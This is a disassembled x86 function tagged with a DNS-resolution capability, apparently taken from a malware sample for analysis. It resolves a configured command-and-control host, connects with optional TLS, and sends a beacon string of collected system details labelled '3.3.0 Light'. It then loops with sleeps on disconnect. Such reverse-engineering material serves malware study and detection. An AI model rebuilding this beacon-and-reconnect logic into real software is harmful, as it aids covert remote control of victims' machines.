Function at 0x40ce75
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b4
lea ecx, [ebp - 0x60]
push ebx
push esi
push edi
call fcn.004021ef
lea ecx, [ebp - 0x12c]
call fcn.00411692
lea ecx, [ebp - 0x5c4]
call fcn.004021ef
mov edi, 0x46319c
push 0x29
mov ecx, edi
call fcn.00403506
mov ecx, eax
call fcn.0040204e
push eax
call fcn.00430eac
pop ecx
test eax, eax
je 0x40cecc
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
mov ecx, esp
push 0x45bf38
call fcn.0040219e
push 0
mov ecx, edi
call fcn.00403506
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402206
lea ecx, [ebp - 0x30]
call fcn.00411ac0
add esp, 0x30
mov ecx, edi
xor ebx, ebx
push 0x3a
call fcn.00403506
mov ecx, eax
call fcn.0040ee16
test al, al
je 0x40cf82
push 0x3a
mov ecx, edi
call fcn.00403506
mov ecx, eax
call fcn.00402046
push eax
push 0x3a
mov ecx, edi
call fcn.00403506
mov ecx, eax
call fcn.0040204e
push eax
push 0x39
mov ecx, edi
call fcn.00403506
mov ecx, eax
call fcn.00402046
push eax
push 0x39
mov ecx, edi
call fcn.00403506
mov ecx, eax
call fcn.0040204e
push eax
push 0x38
mov ecx, edi
call fcn.00403506
mov ecx, eax
call fcn.00402046
push 0x38
mov ecx, edi
mov esi, eax
call fcn.00403506
mov ecx, eax
call fcn.0040204e
mov edx, esi
mov ecx, eax
call fcn.00401568
add esp, 0x10
push 2
pop esi
sub esp, 0x18
mov byte [0x463501], 1
mov ecx, esp
push 0x45bf3c
call fcn.0040219e
push ebx
lea ecx, [ebp - 0x30]
call fcn.00403506
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402206
lea ecx, [ebp - 0xc]
call fcn.00411ac0
add esp, 0x30
lea ecx, [ebp - 0xc]
push 1
call fcn.00403506
push eax
push 0x45bf3c
push 0
lea ecx, [ebp - 0xc]
call fcn.00403506
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00405c44
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.004043f1
pop ecx
lea ecx, [ebp - 0x24]
call fcn.004020b7
lea eax, [ebp - 0xcc]
mov ecx, 0x463504
push eax
call fcn.0040209d
push esi
lea ecx, [ebp - 0xc]
call fcn.00403506
mov edx, 0x456520
mov ecx, eax
call fcn.00403fbe
neg al
mov ecx, 0x4634c0
sbb al, al
inc al
mov byte [0x462a49], al
call fcn.00401671
test al, al
je 0x40d8be
cmp byte [0x4634c1], 1
lea ecx, [ebp - 0x60]
jne 0x40d04b
push str.TLS_On
jmp 0x40d050
push str.TLS_Off
call fcn.00403f5a
sub esp, 0x18
lea eax, [ebp - 0xcc]
mov esi, esp
lea ecx, [ebp - 0x48]
mov edx, str.Connecting__
push eax
lea eax, [ebp - 0x60]
push 0x45bf50
push eax
call fcn.00402ab7
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00405c20
pop ecx
mov edx, eax
mov ecx, esi
call fcn.004043f1
sub esp, 0x14
mov ecx, esp
push 0x4563a4
call fcn.0040219e
call fcn.004113b1
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.004020b7
lea ecx, [ebp - 0x48]
call fcn.004020b7
push 2
pop esi
push 0
lea ecx, [ebp - 0xc]
mov word [0x462a50], si
call fcn.00403506
mov ecx, eax
call fcn.0040204e
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40d8be
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
push 0x462a54
call fcn.0042c810
add esp, 0xc
lea ecx, [ebp - 0xc]
push 1
call fcn.00403506
mov ecx, eax
call fcn.0040204e
push eax
call fcn.00430eac
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 0
push 0x3c
mov ecx, 0x4634c0
mov word [0x462a52], ax
call fcn.00401d80
sub esp, 0x10
mov esi, 0x462a50
mov edi, esp
mov ecx, 0x4634c0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.0040170d
test al, al
je 0x40d8b6
push 1
lea ecx, [ebp - 0xc]
call fcn.00403506
sub esp, 0x18
lea ecx, [ebp - 0xc]
mov esi, esp
push eax
push 0x45bf3c
push 0
call fcn.00403506
push eax
lea eax, [ebp - 0x60]
mov edx, str.Connected___
push 0x45bf50
push eax
lea ecx, [ebp - 0x114]
call fcn.00402ab7
pop ecx
mov edx, eax
lea ecx, [ebp - 0xfc]
call fcn.00405c20
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00405c20
pop ecx
mov edx, eax
mov ecx, esi
call fcn.004043f1
sub esp, 0x14
mov ecx, esp
push 0x4563a4
call fcn.0040219e
call fcn.004113b1
add esp, 0x30
lea ecx, [ebp - 0x78]
call fcn.004020b7
lea ecx, [ebp - 0xe4]
call fcn.004020b7
lea ecx, [ebp - 0xfc]
call fcn.004020b7
lea ecx, [ebp - 0x114]
call fcn.004020b7
mov byte [ebp - 0x9c], 0
lea edi, [ebp - 0x9b]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004115b0
push edx
push eax
lea eax, [ebp - 0x9c]
push str._I64u
push eax
call fcn.0040ce5e
add esp, 0x10
lea ecx, [ebp - 0x24]
mov esi, 0x45694c
push esi
call fcn.00403540
push esi
lea ecx, [ebp - 0x48]
call fcn.00403540
push 0xa
lea eax, [ebp - 0x84]
push eax
push dword [0x4619b0]
call fcn.00434a4d
add esp, 0xc
mov ecx, 0x46319c
push 1
call fcn.00403506
push eax
lea ecx, [ebp - 0xb4]
call fcn.00402206
mov esi, 0x4632c8
mov ecx, esi
call fcn.00402046
push eax
mov ecx, esi
call fcn.0040204e
push eax
push 0x104
lea eax, [ebp - 0x9b0]
mov ecx, 0x463280
push eax
push str.name
call fcn.0040204e
mov edx, eax
call fcn.0040bfdf
add esp, 0x14
test al, al
je 0x40d2b6
lea eax, [ebp - 0x9b0]
push eax
lea ecx, [ebp - 0xb4]
call fcn.00403f5a
mov eax, dword [0x462cb8]
xor edi, edi
test eax, eax
je 0x40d2c6
call eax
movzx edi, ax
push 0x462a78
lea ecx, [ebp - 0x78]
call fcn.00403540
sub esp, 0x18
lea eax, [ebp - 0x12c]
mov esi, esp
mov ecx, 0x463028
mov edx, 0x463268
push 0x463328
push ecx
push eax
push ecx
lea ecx, [ebp - 0x5ac]
call fcn.00411a52
push eax
push 0x463028
movzx edx, di
lea ecx, [ebp - 0x594]
call fcn.004118dc
push eax
mov edi, 0x463028
lea ecx, [ebp - 0xc]
push edi
push 0x4632b0
push edi
push 0
call fcn.00403506
push eax
push edi
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
lea ecx, [ebp - 0x57c]
call fcn.004118dc
push eax
push edi
call fcn.0041188c
mov edx, eax
lea ecx, [ebp - 0x564]
call fcn.004118dc
push eax
push edi
push 0x30
push edi
lea ecx, [ebp - 0x54c]
call fcn.00411852
mov edx, eax
lea ecx, [ebp - 0x534]
call fcn.00411a52
push eax
push edi
lea edx, [ebp - 0x48]
lea ecx, [ebp - 0x51c]
call fcn.00411a52
push eax
push edi
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x504]
call fcn.00411a52
push eax
push edi
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x4ec]
call fcn.00411a52
push eax
push edi
push str.3.3.0_Light
push edi
lea eax, [ebp - 0x9c]
mov edx, 0x463610
push eax
push edi
lea ecx, [ebp - 0x4d4]
call fcn.00411a52
push eax
push edi
push 0x463310
push edi
lea ecx, [ebp - 0x4bc]
call fcn.004096c9
push eax
push edi
mov edx, 0x4632e0
lea ecx, [ebp - 0x4a4]
call fcn.00411a52
push eax
push ecx
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x48c]
call fcn.00404415
pop ecx
mov edx, eax
lea ecx, [ebp - 0x474]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x45c]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x444]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x42c]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x414]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3fc]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3e4]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3cc]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3b4]
call fcn.00405c20
pop ecx
mov edx, eax
lea ecx, [ebp - 0x39c]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x384]
call fcn.00405c20
pop ecx
mov edx, eax
lea ecx, [ebp - 0x36c]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x354]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x33c]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x324]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30c]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2f4]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2dc]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2c4]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2ac]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x294]
call fcn.00405c88
pop ecx
mov edx, eax
lea ecx, [ebp - 0x27c]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24c]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x234]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x21c]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x204]
call fcn.00405c20
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1ec]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1d4]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1bc]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1a4]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18c]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x174]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x15c]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x144]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0xfc]
call fcn.004043f1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x114]
call fcn.004043f1
pop ecx
mov edx, eax
mov ecx, esi
call fcn.004043f1
pop ecx
mov edi, 0x4634c0
push 0x4b
mov ecx, edi
call fcn.004018ed
lea ecx, [ebp - 0x114]
call fcn.004020b7
lea ecx, [ebp - 0xfc]
call fcn.004020b7
lea ecx, [ebp - 0xe4]
call fcn.004020b7
lea ecx, [ebp - 0x144]
call fcn.004020b7
lea ecx, [ebp - 0x15c]
call fcn.004020b7
lea ecx, [ebp - 0x174]
call fcn.004020b7
lea ecx, [ebp - 0x18c]
call fcn.004020b7
lea ecx, [ebp - 0x1a4]
call fcn.004020b7
lea ecx, [ebp - 0x1bc]
call fcn.004020b7
lea ecx, [ebp - 0x1d4]
call fcn.004020b7
lea ecx, [ebp - 0x1ec]
call fcn.004020b7
lea ecx, [ebp - 0x204]
call fcn.004020b7
lea ecx, [ebp - 0x21c]
call fcn.004020b7
lea ecx, [ebp - 0x234]
call fcn.004020b7
lea ecx, [ebp - 0x24c]
call fcn.004020b7
lea ecx, [ebp - 0x264]
call fcn.004020b7
lea ecx, [ebp - 0x27c]
call fcn.004020b7
lea ecx, [ebp - 0x294]
call fcn.004020b7
lea ecx, [ebp - 0x2ac]
call fcn.004020b7
lea ecx, [ebp - 0x2c4]
call fcn.004020b7
lea ecx, [ebp - 0x2dc]
call fcn.004020b7
lea ecx, [ebp - 0x2f4]
call fcn.004020b7
lea ecx, [ebp - 0x30c]
call fcn.004020b7
lea ecx, [ebp - 0x324]
call fcn.004020b7
lea ecx, [ebp - 0x33c]
call fcn.004020b7
lea ecx, [ebp - 0x354]
call fcn.004020b7
lea ecx, [ebp - 0x36c]
call fcn.004020b7
lea ecx, [ebp - 0x384]
call fcn.004020b7
lea ecx, [ebp - 0x39c]
call fcn.004020b7
lea ecx, [ebp - 0x3b4]
call fcn.004020b7
lea ecx, [ebp - 0x3cc]
call fcn.004020b7
lea ecx, [ebp - 0x3e4]
call fcn.004020b7
lea ecx, [ebp - 0x3fc]
call fcn.004020b7
lea ecx, [ebp - 0x414]
call fcn.004020b7
lea ecx, [ebp - 0x42c]
call fcn.004020b7
lea ecx, [ebp - 0x444]
call fcn.004020b7
lea ecx, [ebp - 0x45c]
call fcn.004020b7
lea ecx, [ebp - 0x474]
call fcn.004020b7
lea ecx, [ebp - 0x48c]
call fcn.004020b7
lea ecx, [ebp - 0x4a4]
call fcn.004020b7
lea ecx, [ebp - 0x4bc]
call fcn.004020b7
lea ecx, [ebp - 0x4d4]
call fcn.004020b7
lea ecx, [ebp - 0x4ec]
call fcn.004020b7
lea ecx, [ebp - 0x504]
call fcn.004020b7
lea ecx, [ebp - 0x51c]
call fcn.004020b7
lea ecx, [ebp - 0x534]
call fcn.004020b7
lea ecx, [ebp - 0x54c]
call fcn.00403536
lea ecx, [ebp - 0x564]
call fcn.004020b7
lea ecx, [ebp - 0x57c]
call fcn.004020b7
lea ecx, [ebp - 0x594]
call fcn.004020b7
lea ecx, [ebp - 0x5ac]
call fcn.004020b7
lea ecx, [ebp - 0x78]
call fcn.00403536
push 1
push 0x40d912
mov ecx, edi
call fcn.00401a41
call fcn.00403f1d
sub esp, 0x18
mov ecx, esp
push str.Disconnected
call fcn.0040219e
sub esp, 0x18
mov ecx, esp
push 0x45645c
call fcn.0040219e
call fcn.004113b1
add esp, 0x30
lea ecx, [ebp - 0xb4]
call fcn.004020b7
lea ecx, [ebp - 0x48]
call fcn.00403536
lea ecx, [ebp - 0x24]
call fcn.00403536
push 2
pop esi
mov edi, 0x46319c
mov ecx, 0x4634c0
call fcn.00401c54
lea ecx, [ebp - 0x30]
inc ebx
call fcn.004035ba
cmp ebx, eax
jb 0x40d8fa
push esi
mov ecx, edi
xor ebx, ebx
call fcn.00403506
mov ecx, eax
call fcn.0040204e
push eax
call fcn.00430eac
imul eax, eax, 0x3e8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xcc]
call fcn.004020b7
lea ecx, [ebp - 0xc]
call fcn.00403531
jmp 0x40cf85